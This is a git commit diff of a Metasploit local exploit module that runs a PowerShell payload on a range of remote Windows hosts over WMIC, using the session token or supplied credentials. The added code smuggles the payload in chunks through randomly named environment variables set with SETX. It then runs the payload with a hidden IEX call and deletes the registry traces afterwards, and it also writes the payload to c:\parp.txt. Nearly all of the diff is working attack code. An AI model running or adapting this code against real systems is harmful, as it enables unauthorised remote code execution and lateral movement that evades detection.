Nearly
parent
a00f3d8b8e
commit
9819566d94
|
@ -7,38 +7,44 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
require 'msf/core/post/common'
|
|
||||||
load '/mnt/hgfs/git/metasploit-framework/lib/msf/core/exploit/powershell.rb'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Local
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Post::Common
|
|
||||||
include Msf::Exploit::Powershell
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'WMIS via Current User Token',
|
'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module uploads an executable file to the victim system, creates
|
This module executes powershell on the remote host using the current
|
||||||
a share containing that executable, creates a remote service on each
|
user credentials or those supplied. Instead of using PSEXEC over TCP
|
||||||
target system using a UNC path to that file, and finally starts the
|
port 445 we use the WMIC command to start a Remote Procedure Call on
|
||||||
service(s).
|
TCP port 135 and an ephemeral port.
|
||||||
|
|
||||||
The result is similar to psexec but with the added benefit of using
|
The result is similar to psexec but with the added benefit of using
|
||||||
the session's current authentication token instead of having to know
|
the session's current authentication token instead of having to know
|
||||||
a password or hash.
|
a password or hash.
|
||||||
|
|
||||||
|
We do not get feedback from the WMIC command so there are no
|
||||||
|
indicators of success or failure. The remote host must be configured
|
||||||
|
to allow remote Windows Management Instrumentation.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Ben',
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
|
||||||
],
|
],
|
||||||
'References' => [
|
'References' =>
|
||||||
# same as for windows/smb/psexec
|
[
|
||||||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||||
[ 'OSVDB', '3106'],
|
[ 'OSVDB', '3106'],
|
||||||
[ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ]
|
[ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ],
|
||||||
],
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'WfsDelay' => '15',
|
||||||
|
},
|
||||||
'DisclosureDate' => 'Jan 01 1999',
|
'DisclosureDate' => 'Jan 01 1999',
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
'SessionTypes' => [ 'meterpreter' ],
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
@ -51,29 +57,100 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
|
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
|
||||||
|
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
|
||||||
|
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
|
||||||
|
OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]),
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
begin
|
if datastore['SMBUser'] and datastore['SMBPass'].nil?
|
||||||
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
|
fail_with(Failure::BadConfig, "Need both username and password set.")
|
||||||
begin
|
end
|
||||||
print_status("#{server.ljust(16)} Creating service #{name}")
|
|
||||||
psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
|
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
|
||||||
#psh = "calc"
|
# Get the PSH Payload and split it into bitesize chunks
|
||||||
cmd = "cmd /c wmic /node:#{server} process call create \"#{psh}\""
|
# 1024 appears to be the max value allowed in env vars
|
||||||
vprint_status(cmd)
|
psh = cmd_psh_payload(payload.encoded).gsub("\r\n","")
|
||||||
print_warning("Argsize #{cmd.length}") if cmd.length > 4000
|
psh = psh[psh.index("$si")..psh.length-1]
|
||||||
ps = session.sys.process.execute(cmd[0..2000], cmd[2001..cmd.length-1], {'Hidden' => false, 'Channelized' => false})
|
chunks = split_code(psh, 1024)
|
||||||
Sleep(5)
|
|
||||||
ps.process.close
|
print_status("[#{server}] Storing payload in environment variables")
|
||||||
rescue
|
env_name = rand_text_alpha(rand(3)+3)
|
||||||
next
|
env_vars = []
|
||||||
end
|
0.upto(chunks.length-1) do |i|
|
||||||
|
env_vars << "#{env_name}#{i}"
|
||||||
|
c = "cmd /c SETX #{setx_user_pass_string}#{env_vars[i]} \"#{chunks[i]}\""
|
||||||
|
wmic_command(server, c)
|
||||||
|
end
|
||||||
|
|
||||||
|
exec_cmd = "powershell.exe -nop -w hidden -c $x = ''"
|
||||||
|
env_vars.each do |env|
|
||||||
|
exec_cmd << "+$env:#{env}"
|
||||||
|
end
|
||||||
|
exec_cmd << ";$x >> c:\\parp.txt;IEX $x;"
|
||||||
|
|
||||||
|
print_status("[#{server}] Executing payload")
|
||||||
|
sleep(10)
|
||||||
|
wmic_command(server, exec_cmd)
|
||||||
|
sleep(10)
|
||||||
|
|
||||||
|
print_status("[#{server}] Cleaning up environment variables")
|
||||||
|
env_vars.each do |env|
|
||||||
|
cleanup_cmd = "cmd /c REG delete HKCU\\Environment /V #{env} /f"
|
||||||
|
wmic_command(server, cleanup_cmd)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# If we are local administrator then environment variables are stored as
|
||||||
|
# SYSTEM in S-1-5-18 instead of the Administrator -500 HKCU store so we
|
||||||
|
# need to ensure we set the env vars for the current user!
|
||||||
|
def setx_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
|
||||||
|
userpass = ""
|
||||||
|
|
||||||
|
unless user.nil?
|
||||||
|
if domain.nil?
|
||||||
|
userpass = "/s 127.0.0.1 /u #{user} /p #{pass} "
|
||||||
|
else
|
||||||
|
userpass = "/s 127.0.0.1 /u #{domain}\\#{user} /p #{pass} "
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
return userpass
|
||||||
|
end
|
||||||
|
|
||||||
|
def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
|
||||||
|
userpass = ""
|
||||||
|
|
||||||
|
unless user.nil?
|
||||||
|
if domain.nil?
|
||||||
|
userpass = "/user:\"#{user}\" /password:\"#{pass}\" "
|
||||||
|
else
|
||||||
|
userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" "
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return userpass
|
||||||
|
end
|
||||||
|
|
||||||
|
def wmic_command(server, cmd)
|
||||||
|
wcmd = "wmic #{wmic_user_pass_string}/node:#{server} process call create \"#{cmd.gsub('"','\\"')}\""
|
||||||
|
vprint_status("[#{server}] #{wcmd}")
|
||||||
|
|
||||||
|
# We dont use cmd_exec as WMIC cannot be Channelized
|
||||||
|
ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false})
|
||||||
|
end
|
||||||
|
|
||||||
|
def split_code(psh, chunk_size)
|
||||||
|
array = []
|
||||||
|
idx = 0
|
||||||
|
while (idx < psh.length)
|
||||||
|
array << psh[idx, chunk_size]
|
||||||
|
idx += chunk_size
|
||||||
|
end
|
||||||
|
return array
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue